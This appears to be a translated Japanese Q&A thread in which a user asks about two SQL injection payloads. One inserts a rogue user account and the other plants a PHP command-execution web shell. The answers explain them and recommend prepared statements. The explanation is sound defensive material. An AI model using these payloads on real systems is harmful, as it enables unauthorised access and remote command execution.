-1
 1. 

    ' union select 1, 'users (user, password) values (\'haxor\',
            \'1337\') #', 2 #

 2. 

    ' union select 1, 'modules (plugin) values (\'if
       (isset($_GET[\\\'cmd\\\'])) {passthru($_GET[\\\'cmd\\\']);}\') #', 2
       #
  • それらのコード スニペットは何をしますか?
  • ファイルでそれらを防ぐにはどうすればよいphpですか?
  • 1337とは?そして、なぜ多くの \ があるのですか?
4

2 に答える 2

2

それらのコードは何をしますか?

これは状況にもよるのですが、一見すると、最初のコードはログイン システムをバイパスする試みです。2 つ目は、ハッカーがサーバー上でコマンドを実行し、出力をブラウザーに直接表示することを可能にします。

PHP のドキュメントpassthru(): http://php.net/manual/en/function.passthru.php

どうすればphpファイルでそれらを防ぐことができますか?

SQL インジェクションを防ぐ方法はたくさんあります。最も推奨されるのは、PDO ライブラリまたは MySQLi を使用し、準備済みステートメントを利用することです。

1337とは?そして、なぜ多くの \ があるのですか?

アーバンディクショナリから取得 (出典: http://www.urbandictionary.com/define.php?term=1337 )

リート、またはエリートのハッカー「Sp33k」。悪名高いハッキング プログラムである Back Orifice を使用して Windows 95 にアクセスするために、ハッカー グループである Dead Cow Cult が使用する UDP ポート 31337 "eleet" から発信されます。

バックスラッシュは、特殊文字をエスケープするために使用されます。詳細については、このウィキペディアの記事を参照してください: http://en.wikipedia.org/wiki/Escape_character

于 2012-04-15T11:05:09.650 に答える
1

SQLインジェクションを開始する例の主要部分は、最初の'です。サーバーが読み取るクエリを変更します。

すべてのユーザー入力をサニタイズすることが重要です。

于 2012-04-15T10:50:40.800 に答える